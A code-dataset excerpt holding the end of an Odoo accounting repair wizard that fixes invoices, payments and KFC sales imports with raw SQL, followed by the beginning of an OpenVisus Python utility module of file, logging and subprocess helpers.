self.error_fix_selection == 'fix_attachments_import_cloud':\n self.fix_attachments_import_cloud()\n if self.error_fix_selection == 'fix_invoices_account_analytic_default':\n self.fix_invoices_account_analytic_default()\n if self.error_fix_selection == 'del_account_move_journal':\n self.del_account_move_journal()\n if self.error_fix_selection == 'fix_create_payments_by_store':\n self.fix_create_payments_by_store()\n if self.error_fix_selection == 'update_kfc_sale':\n self.update_kfc_sale()\n if self.error_fix_selection == 'update_import_residual_invoices':\n self.update_import_residual_invoices()\n if self.error_fix_selection == 'delete_invoices':\n self.delete_invoices()\n if self.error_fix_selection == 'update_acc_analy_pay_kfc':\n self.update_acc_analy_pay_kfc()\n if self.error_fix_selection == 'new_kfc_sale_tax':\n self.new_kfc_sale_tax()\n if self.error_fix_selection == 'update_price_subtotal_signed':\n self.update_price_subtotal_signed()\n if self.error_fix_selection == 'update_ca_journal':\n self.update_ca_journal()\n if self.error_fix_selection == 'update_partner_st_line':\n self.update_partner_st_line()\n \n def update_partner_st_line(self):\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n \n bank_st_obj = self.env['account.bank.statement.line']\n bank_st = bank_st_obj.search([\n ('company_id', '=', self.env.user.company_id.id),\n ('date', '>=', self.date_init),\n ('date', '<=', self.date_from),\n ('account_payment_id', '!=', False),\n ])\n if bank_st:\n query_bnk_st_update = \"\"\"\n UPDATE account_bank_statement_line as bnk_line SET\n partner_id = res.partner_id \n FROM (SELECT pay.partner_id as partner_id, pay.id as payment_id\n FROM account_payment as pay) res\n WHERE bnk_line.account_payment_id = res.payment_id and \n bnk_line.date BETWEEN '{date_init}' and '{date_from}' and \n bnk_line.partner_id is NULL and \n bnk_line.account_payment_id is not NULL and \n bnk_line.partner_id is NULL;\n \"\"\".format(\n date_init=self.date_init,\n date_from=self.date_from,\n company_id=self.env.user.company_id.id\n )\n self._cr.execute(query_bnk_st_update)\n self._cr.commit()\n \n def update_ca_journal(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n \n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search([\n ('company_id', '=', self.env.user.company_id.id),\n ('state', 'not in', ['cancel']),\n ('journal_id', '=', self.journal_id.id),\n ('date_invoice', '>=', self.date_init),\n ('date_invoice', '<=', self.date_from)\n ])\n if invoices:\n query_invoice_update = \"\"\"\n UPDATE account_invoice_line as inv_line SET\n account_analytic_id = res.default_ac_analytic_id \n FROM (SELECT inv.default_ac_analytic_id as default_ac_analytic_id, inv.id as inv_id\n FROM account_invoice as inv\n WHERE inv.default_ac_analytic_id is not NULL and inv.journal_id = {journal_id} and date_invoice BETWEEN '{date_init}' and '{date_from}' and company_id = {company_id}) res\n WHERE inv_line.invoice_id = res.inv_id and inv_line.account_analytic_id is NULL\n \"\"\".format(\n journal_id=self.journal_id.id,\n date_init=self.date_init,\n date_from=self.date_from,\n company_id=self.env.user.company_id.id\n )\n self._cr.execute(query_invoice_update)\n self._cr.commit()\n \n def update_price_subtotal_signed(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n \n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search([\n ('company_id', '=', self.env.user.company_id.id),\n ('state', 'not in', ['cancel']),\n ('journal_id', '=', self.journal_id.id),\n ('real_sale_date', '>=', self.date_init),\n ('real_sale_date', '<=', self.date_from)\n ])\n if invoices:\n query_invoice_update = \"\"\"\n UPDATE account_invoice_line as inv_l SET\n price_subtotal_signed = inv_l.price_subtotal\n FROM (SELECT id \n FROM account_invoice\n where real_sale_date BETWEEN '{date_init}' and '{date_from}' and journal_id = {journal_id} and company_id = {company_id} and state != 'cancel'\n GROUP BY id) inv\n WHERE inv_l.invoice_id = inv.id \n \"\"\".format(\n journal_id=self.journal_id.id,\n date_init=self.date_init,\n date_from=self.date_from,\n company_id=self.env.user.company_id.id\n )\n self._cr.execute(query_invoice_update)\n self._cr.commit()\n \n\n def new_kfc_sale_tax(self):\n self.env['chariots.import.kfc.sale'].query_kfc_sale_tax(date_init=self.date_init, date_end=self.date_from)\n \n def update_acc_analy_pay_kfc(self):\n self.env['account.move.line'].query_update_mv_lines_pay_kfc()\n \n def delete_invoices(self):\n account_invoice_kfc_one = self.env['ir.property'].sudo().search([('name', '=', 'account_invoice_kfc_one')])\n account_invoice_kfc_one = account_invoice_kfc_one.value_reference.split(',')\n account_invoice_kfc_one = int(account_invoice_kfc_one[1])\n account_invoice_kfc_one = self.env['account.invoice'].search([('id', '=', account_invoice_kfc_one)])\n #if account_invoice_kfc_one:\n #self._cr.execute(\"\"\"\n #DELETE FROM account_invoice WHERE id = {inv_id};\n #\"\"\".format(inv_id=account_invoice_kfc_one.id))\n #self._cr.commit()\n \n\n def update_import_residual_invoices(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n \n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search([\n ('company_id', '=', self.env.user.company_id.id),\n ('state', 'not in', ['cancel']),\n ('journal_id', '=', self.journal_id.id),\n ('real_sale_date', '>=', self.date_init),\n ('real_sale_date', '<=', self.date_from)\n ])\n if invoices:\n for inv in invoices:\n if inv.residual == 0.00:\n continue\n store_id = self.env['chariots.import.kfc.store'].search([('partner_id', '=', inv.partner_id.id)])\n if not store_id:\n continue\n query = \"\"\"\n SELECT\n s.payment_method_id payment_method_id,\n kfc_paymethod.name payment_method_name,\n SUM(s.amount_total_fix) amount_total_fix\n FROM chariots_import_kfc_sale_tax s \n LEFT JOIN chariots_import_kfc_paymethod kfc_paymethod ON s.payment_method_id = kfc_paymethod.id\n WHERE s.date >= '{year}-{month}-{day}' AND s.date <= '{year}-{month}-{day}' AND s.store_id = {store}\n GROUP BY s.payment_method_id, kfc_paymethod.name;\n \"\"\".format(\n year=str(inv.real_sale_date.year),\n month=str(inv.real_sale_date.month).zfill(2),\n day=str(inv.real_sale_date.day).zfill(2),\n store=store_id.id\n )\n self._cr.execute(query)\n results = self._cr.fetchall()\n if not results:\n continue\n \n amount_total_pay = 0\n #Recorremos las líneas de pago de KFC\n for payment_method_id, payment_method_name, amount_total_fix in results:\n if not payment_method_id:\n logging.info(\"No existen método de pago para la factura {}\".format(inv.id))\n continue\n amount_total_pay += amount_total_fix\n amount_total_pay = round(amount_total_pay, 2)\n if inv.residual != 0:\n residual = round(round(inv.residual, 2) - amount_total_pay, 2)\n abs_residual = abs(residual)\n if abs_residual == 0.00 or residual < 0:\n residual = 0.00\n query_invoice_update = \"\"\"\n UPDATE account_invoice\n SET residual = {residual}, residual_signed = {residual_signed}, residual_company_signed = {residual_company_signed}\n WHERE id = {inv_id};\n \"\"\".format(\n inv_id=inv.id,\n residual=residual,\n residual_signed=residual,\n residual_company_signed=residual,\n )\n self._cr.execute(query_invoice_update)\n self._cr.commit()\n\n query_invoice_update = \"\"\"\n UPDATE account_invoice\n SET state = 'paid', reconciled = TRUE\n WHERE residual = 0 and journal_id = {journal_id};\n \"\"\".format(\n journal_id=self.journal_id.id,\n )\n self._cr.execute(query_invoice_update)\n self._cr.commit()\n \n\n def update_kfc_sale(self):\n self.env['chariots.import.kfc.sale'].query_update_kfc_sales()\n\n def del_account_move_journal(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n\n self._cr.execute(\"\"\"\n DELETE FROM account_move_line WHERE journal_id = {journal_id} AND create_date BETWEEN '{date_init}' AND '{date_from}';\n DELETE FROM account_move WHERE journal_id = {journal_id} AND create_date BETWEEN '{date_init}' AND '{date_from}';\n \"\"\".format(journal_id=self.journal_id.id, date_init=self.date_init, date_from=self.date_from))\n self._cr.commit()\n \n def fix_invoices_account_analytic_default(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n\n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search([\n ('company_id', '=', self.env.user.company_id.id),\n ('state', 'not in', ['cancel']),\n ('default_ac_analytic_id', '!=', False),\n ('journal_id', '=', self.journal_id.id),\n ('date_invoice', '>=', self.date_init),\n ('date_invoice', '<=', self.date_from)\n ])\n if invoices:\n for inv in invoices:\n if inv.default_ac_analytic_id:\n query_invoice_update = \"\"\"\n UPDATE account_invoice_line\n SET account_analytic_id = {account_analytic_id} \n WHERE invoice_id = {inv_id};\n \"\"\".format(\n inv_id=inv.id,\n account_analytic_id=inv.default_ac_analytic_id.id\n )\n self._cr.execute(query_invoice_update)\n self._cr.commit()\n\n def fix_attachments_import_cloud(self):\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n self.env['ir.attachment'].cron_sync_remote_invoice(date_from=self.date_init, date_to=self.date_from)\n\n def fix_attachments_cloud(self):\n domain = [('type', 'in', ['in_invoice', 'in_refund']), ('state', 'not in', ['draft', 'cancel'])]\n if self.date_from and self.date_init:\n domain.append(('date_invoice', '>=', self.date_init))\n domain.append(('date_invoice', '<=', self.date_from))\n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search(domain)\n if invoices:\n for inv in invoices:\n inv.upload_file_inv_drive()\n\n def fix_inv_payment_method(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n\n invoices = self.env['account.invoice'].search(\n [('journal_id', '=', self.journal_id.id), ('state', 'in', ['open', 'paid']),\n ('real_sale_date', '>=', self.date_init), ('real_sale_date', '<=', self.date_from)])\n if invoices:\n for invoice in invoices:\n invoice.generate_payment_by_method()\n \n def fix_regenerate_acc_moves(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n\n invoices = self.env['account.invoice'].search(\n [('journal_id', '=', self.journal_id.id), ('state', 'in', ['open', 'paid']),\n ('date_invoice', '>=', self.date_init), ('date_invoice', '<=', self.date_from)])\n if invoices:\n for invoice in invoices:\n if invoice.move_id:\n invoice.move_id = [(2, invoice.move_id.id, False)]\n \n invoice.with_context(check_move_validity=False).action_move_create()\n invoice.move_id.create_lines_cnj()\n \n def fix_inv_state(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n \n self.env.cr.execute(\"\"\"\n UPDATE account_invoice\t\n SET state = 'paid'\t\n WHERE journal_id = {} and date_invoice BETWEEN '{}' and '{}' and move_id is not null and move_payment_id is not null and state = 'open'\n \"\"\".format(self.journal_id.id, self.date_init, self.date_from))\n self.env.cr.commit()\n\n\n def fix_create_no_sales(self):\n date_from = self.date_init\n date_to = self.date_from\n kfc_sale_obj = self.env['chariots.import.kfc.sale']\n kfc_store_obj = self.env['chariots.import.kfc.store']\n all_stores = kfc_store_obj.search([])\n month_start = date_from.month\n month_end = date_to.month\n for num_month in range(month_start, month_end + 1):\n if num_month == month_start and num_month == month_end:\n day_month_start = date_from.day\n day_month_end = date_to.day\n elif num_month == month_start:\n day_month_start = date_from.day\n day_month_end = calendar.monthrange(date_from.year, month_start)[1]\n elif num_month == month_end:\n day_month_start = 1\n day_month_end = date_to.day\n else:\n day_month_start = 1\n day_month_end = calendar.monthrange(date_to.year, num_month)[1]\n\n for day in range(day_month_start, day_month_end + 1):\n no_sales = []\n for store in all_stores:\n query_kfc = \"\"\"\n SELECT\n store.id as store_id,\n store.name as name,\n COUNT(sale.id) as num_sales,\n SUM(sale.amount_total) as amount_total_total,\n AVG(sale.amount_total) as sale_medium,\n is_imported\n FROM chariots_import_kfc_store as store\n LEFT JOIN chariots_import_kfc_sale as sale ON sale.store = store.external_id \n WHERE sale.date = '{}-{}-{}' and sale.store = {}\n GROUP BY store.id, sale.date, is_imported\n ORDER BY name ASC, sale.date \n \"\"\".format(str(date_to.year), str(num_month).zfill(2), str(day).zfill(2), store.external_id)\n kfc_sale_obj._cr.execute(query_kfc)\n results_kfc_sale = kfc_sale_obj._cr.fetchall()\n if not results_kfc_sale:\n date_actual = datetime(date_to.year, num_month, day)\n no_sales.append({'store': store, 'date': date_actual})\n\n if no_sales:\n kfc_sale_obj.new_sales(no_sales)\n\n def fix_create_payments(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n\n domain = [('journal_id', '=', self.journal_id.id), ('state', '=', 'open')]\n if self.date_from and self.date_init:\n domain.append(('date_invoice', '>=', self.date_init))\n domain.append(('date_invoice', '<=', self.date_from))\n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search(domain)\n if invoices:\n for inv in invoices:\n inv.generate_payment_by_method()\n\n def fix_create_payments_by_store(self):\n if not self.partner_id:\n raise UserError(_(\"Es necesario establecer una empresa\"))\n \n if not self.date_from and not self.date_init:\n raise UserError(_(\"Es necesario establecer fechas\"))\n\n domain = [('journal_id', '=', self.journal_id.id), ('state', 'not in', ['draft','cancel']), ('partner_id', '=', self.partner_id.id)]\n if self.date_from and self.date_init:\n domain.append(('real_sale_date', '>=', self.date_init))\n domain.append(('real_sale_date', '<=', self.date_from))\n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search(domain)\n if invoices:\n for inv in invoices:\n inv.generate_payment_by_method()\n\n def fix_account_move_journal(self):\n if not self.journal_id:\n raise UserError(_(\"Es necesario establecer un diario\"))\n if not self.date_from or not self.date_init:\n raise UserError(_(\"Es necesario establecer las dos fechas\"))\n domain = [\n ('journal_id', '=', self.journal_id.id),\n ('state', 'in', ['open', 'paid']),\n ('date_invoice', '>=', self.date_init),\n ('date_invoice', '<=', self.date_from)\n ]\n if self.acc_anal_id:\n domain.append(('default_ac_analytic_id', '=', self.acc_anal_id.id))\n\n invoices = self.env['account.invoice'].search(domain)\n if invoices:\n for invoice in invoices:\n if invoice.move_id:\n if invoice.tax_line_ids:\n tax_id = self.env['ir.property'].sudo().search([('name', '=', 'account_tax_one')])\n tax_id = tax_id.value_integer\n tax_id = self.env['account.tax'].search([('id', '=', tax_id)])\n if tax_id:\n tax_line = invoice.tax_line_ids.filtered(lambda l: l.tax_id.id == tax_id.id)\n if tax_line:\n if invoice.type == 'out_invoice':\n tax_line.write({'account_id': tax_id.account_id.id})\n else:\n if invoice.type == 'out_refund':\n tax_line.write({'account_id': tax_id.refund_account_id.id})\n\n move_id = invoice.move_id\n if invoice.move_id.state == 'posted':\n move_id.write({'state': 'draft'})\n invoice.move_id = [(3, move_id.id)]\n move_id.unlink()\n invoice.action_move_create()\n if invoice.journal_id.code == 'CANJE':\n invoice.move_id.create_lines_cnj()\n else:\n invoice.move_id = [(3, move_id.id)]\n move_id.unlink()\n invoice.action_move_create()\n if invoice.journal_id.code == 'CANJE':\n invoice.move_id.create_lines_cnj()\n else:\n invoice.action_move_create()\n if invoice.journal_id.code == 'CANJE':\n invoice.move_id.create_lines_cnj()\n\n def payment_inv_fix_acc_analytic_default(self):\n payment_obj = self.env['account.payment']\n payments = payment_obj.search([('company_id', '=', self.env.user.company_id.id)])\n payments = payments.filtered(lambda pay: pay.invoice_ids)\n if payments:\n for pay in payments:\n invoice_ids = pay.invoice_ids.filtered(lambda inv: inv.default_ac_analytic_id)\n reconcile_invoice_ids = pay.reconciled_invoice_ids.filtered(lambda inv: inv.default_ac_analytic_id)\n default_account_analytic = ''\n if not invoice_ids and reconcile_invoice_ids:\n continue\n\n if invoice_ids:\n default_account_analytic = invoice_ids[0].default_ac_analytic_id\n else:\n if not invoice_ids and reconcile_invoice_ids:\n default_account_analytic = reconcile_invoice_ids[0].default_ac_analytic_id\n\n if default_account_analytic and pay.move_line_ids:\n for line in pay.move_line_ids:\n if line.analytic_account_id and line.analytic_account_id.id == default_account_analytic.id:\n continue\n if line.move_id.default_account_analytic and line.move_id.default_account_analytic.id == default_account_analytic.id:\n continue\n move_id = line.move_id\n move_id.write({'default_account_analytic': default_account_analytic.id})\n\n def payment_inv_fix_very_acc_analytic(self):\n payment_obj = self.env['account.payment']\n payments = payment_obj.search([('company_id', '=', self.env.user.company_id.id)])\n payments = payments.filtered(lambda pay: pay.invoice_ids)\n if payments:\n for pay in payments:\n invoice_ids = pay.invoice_ids.filtered(lambda inv: not inv.default_ac_analytic_id)\n reconcile_invoice_ids = pay.reconciled_invoice_ids.filtered(lambda inv: inv.default_ac_analytic_id)\n if not invoice_ids and reconcile_invoice_ids:\n continue\n\n if not invoice_ids and reconcile_invoice_ids:\n invoice_ids = reconcile_invoice_ids\n\n if pay.move_line_ids and invoice_ids:\n for line in pay.move_line_ids:\n lines_account = []\n\n if line.analytic_line_ids:\n continue\n\n move_id = line.move_id\n for invoice in invoice_ids:\n for inv_line in invoice.invoice_line_ids.filtered(lambda l: l.account_analytic_id):\n line_analytics = ''\n if line.analytic_line_ids:\n line_analytics = line.analytic_line_ids.filtered(\n lambda l: l.account_id.id == inv_line.account_analytic_id.id)\n if line_analytics:\n continue\n cant = inv_line.quantity\n imp = 0\n if line.debit > 0:\n imp = inv_line.price_total * -1\n else:\n imp = inv_line.price_total\n\n dict_create = {\n 'name': line.name,\n 'ref': move_id.ref if move_id else '',\n 'partner_id': line.partner_id.id if line.partner_id else False,\n 'date': move_id.date,\n 'company_id': move_id.company_id.id,\n 'general_account_id': line.account_id.id,\n 'unit_amount': cant,\n 'amount': imp,\n 'account_id': inv_line.account_analytic_id.id,\n 'product_id': inv_line.product_id.id,\n 'product_uom_id': inv_line.uom_id.id\n }\n lines_account.append((0, 0, dict_create))\n\n if lines_account:\n line.write({'analytic_line_ids': lines_account})\n\n def invoice_fix_acc_analytic_default(self):\n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search([\n ('company_id', '=', self.env.user.company_id.id),\n ('state', 'not in', ['cancel', 'draft']),\n ('move_id', '!=', False),\n ('default_ac_analytic_id', '!=', False),\n\n ])\n if invoices:\n for inv in invoices:\n if inv.move_id.default_account_analytic:\n if inv.move_id.default_account_analytic.id == inv.default_ac_analytic_id.id:\n continue\n move_id = inv.move_id\n move_id.write({'default_account_analytic': inv.default_ac_analytic_id.id})\n\n def invoice_very_fix_acc_analytic_default(self):\n invoice_obj = self.env['account.invoice']\n invoices = invoice_obj.search([\n ('company_id', '=', self.env.user.company_id.id),\n ('state', 'not in', ['cancel', 'draft']),\n ('move_id', '!=', False),\n ('default_ac_analytic_id', '=', False),\n\n ])\n if invoices:\n for invoice in invoices:\n if not invoice.move_id:\n continue\n move_id = invoice.move_id\n if not move_id.line_ids:\n continue\n line_ids = move_id.line_ids.filtered(lambda line: not line.analytic_account_id)\n move_id.create_new_analytic_lines(invoice, line_ids)\n\n def fix_invoices_accounts(self):\n old_acc_id = 193\n journal_id = self.journal_id.id\n inv_obj = self.env['account.invoice'].sudo().with_context(company_id=1, force_company=1)\n affected_invoices = inv_obj.search([\n ('journal_id.id', '=', journal_id),\n ('account_id.id', '=', old_acc_id),\n ])\n for invoice in affected_invoices:\n acc_id = invoice.partner_id.property_account_receivable_id\n sql = \"\"\"\n UPDATE account_move_line\n SET account_id = {acc_id}\n WHERE account_id = {old_acc_id} AND invoice_id = {inv_id} AND move_id = {move_id};\n UPDATE account_invoice\n SET account_id = {acc_id}\n WHERE account_id = {old_acc_id} AND id = {inv_id};\n \"\"\".format(\n acc_id=acc_id.id,\n old_acc_id=old_acc_id,\n inv_id=invoice.id,\n move_id=invoice.move_id.id\n )\n self._cr.execute(sql)\n","sub_path":"chariots_core/wizard/wizard_fix_errors.py","file_name":"wizard_fix_errors.py","file_ext":"py","file_size_in_byte":32965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"117588794","text":"import os,sys,glob,threading,platform,sysconfig,re,time, errno, fnmatch, shutil, logging,functools\r\nimport traceback, time, subprocess, shutil, shlex, math\r\nimport io, queue, threading, multiprocessing, subprocess\r\n\r\nlogger = logging.getLogger(\"OpenVisus\")\r\n\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef ThisDir(file):\r\n\treturn os.path.dirname(os.path.abspath(file))\r\n\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef Assert(condition):\r\n\tif not condition:\r\n\t\traise Exception(\"Assert failed\")\r\n\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef GetCommandOutput(cmd):\r\n\toutput=subprocess.check_output(cmd)\r\n\tif sys.version_info >= (3, 0): output=output.decode(\"utf-8\")\r\n\treturn output.strip()\r\n\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef CreateDirectory(value):\r\n\ttry: \r\n\t\tos.makedirs(value)\r\n\texcept OSError:\r\n\t\tif not os.path.isdir(value):\r\n\t\t\traise\r\n\t\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef MakeDirForFile(filename):\r\n\ttry:\r\n\t\tos.makedirs(os.path.dirname(filename),exist_ok=True)\r\n\texcept:\r\n\t\tpass\r\n\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef GetFilenameWithoutExtension(filename):\r\n\treturn os.path.splitext(os.path.basename(filename))[0]\r\n\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef CopyFile(src,dst):\r\n\t\r\n\tsrc=os.path.realpath(src) \r\n\tdst=os.path.realpath(dst)\t\t\r\n\t\r\n\tif src==dst or not os.path.isfile(src):\r\n\t\treturn\t\t\r\n\r\n\tCreateDirectory(os.path.dirname(dst))\r\n\tshutil.copyfile(src, dst)\t\r\n\t\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef CopyDirectory(src,dst):\r\n\t\r\n\tsrc=os.path.realpath(src)\r\n\t\r\n\tif not os.path.isdir(src):\r\n\t\treturn\r\n\t\r\n\tCreateDirectory(dst)\r\n\t\r\n\t# problems with symbolic links so using shutil\t\r\n\tdst=dst+\"/\" + os.path.basename(src)\r\n\t\r\n\tif os.path.isdir(dst):\r\n\t\tshutil.rmtree(dst,ignore_errors=True)\r\n\t\t\r\n\tshutil.copytree(src, dst, symlinks=True)\t\t\t\t\r\n\t\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef ReadTextFile(filename):\r\n\tfile = open(filename, \"r\") \r\n\tret=file.read().strip()\r\n\tfile.close()\r\n\treturn ret\r\n\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef LoadTextDocument(filename):\r\n\tif not os.path.isfile(filename): return []\r\n\tfile=open(filename,\"rt\")\r\n\tcontent=file.read()\r\n\tfile.close()\t\r\n\treturn content\r\n\t\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef WriteTextFile(filename,content):\r\n\tif not isinstance(content, str):\r\n\t\tcontent=\"\\n\".join(content)+\"\\n\"\r\n\tCreateDirectory(os.path.dirname(os.path.realpath(filename)))\r\n\tfile = open(filename,\"wt\") \r\n\tfile.write(content) \r\n\tfile.close() \t\t\r\n\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef SaveTextDocument(filename,content):\r\n\ttry:\r\n\t\tos.makedirs(os.path.dirname(filename),exist_ok=True)\r\n\texcept:\r\n\t\tpass\r\n\r\n\tfile=open(filename,\"wt\")\r\n\tfile.write(content)\r\n\tfile.close()\t\t\r\n\r\n# /////////////////////////////////////////////////////////////////////////\r\n# glob(,recursive=True) is not supported in python 2.x\r\n# see https://stackoverflow.com/questions/2186525/use-a-glob-to-find-files-recursively-in-python\r\ndef RecursiveFindFiles(rootdir='.', pattern='*'):\r\n return [os.path.join(looproot, filename)\r\n for looproot, _, filenames in os.walk(rootdir)\r\n for filename in filenames\r\n if fnmatch.fnmatch(filename, pattern)]\r\n\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef PipInstall(packagename,extra_args=[]):\r\n\tcmd=[sys.executable,\"-m\",\"pip\",\"install\",\"--progress-bar\",\"off\",\"--user\",packagename]\r\n\tif extra_args: cmd+=extra_args\r\n\tlogger.info(f\"# Executing {cmd}\")\r\n\treturn_code=subprocess.call(cmd)\r\n\treturn return_code==0\r\n\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef ParseDouble(value,default_value=0.0):\r\n\r\n\tif isinstance(value,str) and len(value)==0:\r\n\t\treturn default_value\r\n\ttry:\r\n\t\treturn float(value)\r\n\texcept:\r\n\t\treturn default_value\r\n\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef ParseInt(value,default_value=0):\r\n\r\n\tif isinstance(value,str) and len(value)==0:\r\n\t\treturn default_value\r\n\ttry:\r\n\t\treturn int(value)\r\n\texcept:\r\n\t\treturn default_value\t\t\t\r\n\t\r\n\t\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef GuessUniqueFilename(pattern):\r\n\tI=0\r\n\twhile True:\r\n\t\tfilename=pattern %(I,)\r\n\t\tif not os.path.isfile(filename): \r\n\t\t\treturn filename\r\n\t\tI+=1\r\n\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef KillProcess(process):\r\n\tif not process:\r\n\t\treturn\r\n\ttry:\r\n\t\tprocess.kill()\r\n\texcept:\r\n\t\tpass\t\r\n\t\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef ExecuteCommand(cmd):\t\r\n\t\"\"\"\r\n\tnote: shell=False does not support wildcard but better to use this version\r\n\tbecause quoting the argument is not easy\r\n\t\"\"\"\r\n\tlogger.info(f\"# Executing command: {cmd}\")\r\n\treturn subprocess.call(cmd, shell=False)\r\n\r\n\r\n\r\n# //////////////////////////////////////////////////////////////////////////////\r\ndef WriteCSV(filename,rows):\r\n\timport csv\r\n\twith open(filename,\"wt\") as f:\r\n\t\twriter=csv.writer(f)\r\n\t\twriter.writerows([row for row in rows if row])\r\n\r\n# //////////////////////////////////////////////////////////////////////////////\r\ndef ReadCSV(filename):\r\n\timport csv\r\n\twith open(filename,\"rt\") as f:\r\n\t\treader=csv.reader(f)\r\n\t\treturn [row for row in reader if row]\r\n\r\n# //////////////////////////////////////////////////////////////////////\r\ndef WriteYaml(filename,data):\r\n\timport yaml\r\n\tlogger.info(f\"Writing yaml {filename}...\")\r\n\twith open(filename, 'w') as stream:\r\n\t\tyaml.dump(data, stream)\r\n\tlogger.info(f\"Writing yaml {filename} DONE\")\r\n\r\n# //////////////////////////////////////////////////////////////////////\r\ndef ReadYaml(filename):\r\n\timport yaml\r\n\tlogger.info(f\"Reading yaml {filename}...\")\r\n\twith open(filename, 'r') as stream:\r\n\t\tret=yaml.load(stream)\r\n\tlogger.info(f\"Reading yaml {filename} DONE\")\r\n\treturn ret\r\n\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef HumanSize(size):\r\n\tKiB,MiB,GiB,TiB=1024,1024*1024,1024*1024*1024,1024*1024*1024*1024\r\n\tif size>TiB: return \"{:.2f}TiB\".format(size/TiB) \r\n\tif size>GiB: return \"{:.2f}GiB\".format(size/GiB) \r\n\tif size>MiB: return \"{:.2f}MiB\".format(size/MiB) \r\n\tif size>KiB: return \"{:.2f}KiB\".format(size/KiB) \r\n\treturn str(size)\r\n\r\n# ////////////////////////////////////////////////////////////////\r\ndef SetupLogger(logger, output_stdout:bool=True, log_filename:str=None, logging_level=logging.INFO):\r\n\r\n\tlogger.setLevel(logging_level)\r\n\r\n\t# stdout\r\n\tif output_stdout:\r\n\t\thandler=logging.StreamHandler()\r\n\t\thandler.setLevel(logging_level)\r\n\t\thandler.setFormatter(logging.Formatter(fmt=f\"[%(asctime)s][%(levelname)s][%(name)s] %(message)s\", datefmt=\"%H%M%S\"))\r\n\t\tlogger.addHandler(handler)\r\n\t\r\n\t# file\r\n\tif log_filename:\r\n\t\tos.makedirs(os.path.dirname(log_filename),exist_ok=True)\r\n\t\thandler=logging.FileHandler(log_filename)\r\n\t\thandler.setLevel(logging_level)\r\n\t\thandler.setFormatter(logging.Formatter(fmt=f\"[%(asctime)s][%(levelname)s][%(name)s] %(message)s\", datefmt=\"%H%M%S\"))\r\n\t\tlogger.addHandler(handler)\r\n\r\n\r\n# ///////////////////////////////////////////////////////////////////////\r\n# deprecated: use python multiprocessing ThreadPool map or map_async\r\ndef RunJobsInParallel(jobs, advance_callback=None, nthreads=8, timeout=60*60*24*30):\r\n\tfrom multiprocessing.pool import ThreadPool\r\n\tp=ThreadPool(nthreads)\r\n\tchunk_size,N=1,len(jobs)\r\n\treturn p.map_async(jobs, []*len(jobs), chunk_size).get(timeout=timeout) \r\n\r\n\r\n# /////////////////////////////////////////\r\ndef RemoveTree(dir):\r\n\twhile os.path.isdir(dir):\r\n\t\ttry:\r\n\t\t\tshutil.rmtree(dir, ignore_errors=False)\r\n\t\texcept:\r\n\t\t\tlogger.info(f\"Failed to removed directory {dir}, retrying in feww seconds\")\r\n\t\t\ttime.sleep(1)\r\n\tlogger.info(f\"Removed directory {dir}\")\r\n\r\n\r\n# /////////////////////////////////////////////////////////////////////////\r\ndef RemoveFiles(pattern):\r\n\tfiles=glob.glob(pattern)\r\n\tlogger.info(f\"Removing files {files}\")\r\n\tfor it in files:\r\n\t\tif os.path.isfile(it):\r\n\t\t\tos.remove(it)\r\n\t\telse:\r\n\t\t\tshutil.rmtree(os.path.abspath(it),ignore_errors=True)\t\t\r\n\r\n\r\n# ////////////////////////////////////////////////////////////////////////////////\r\ndef TryRemoveFiles(mask):\r\n\r\n\tfor filename in 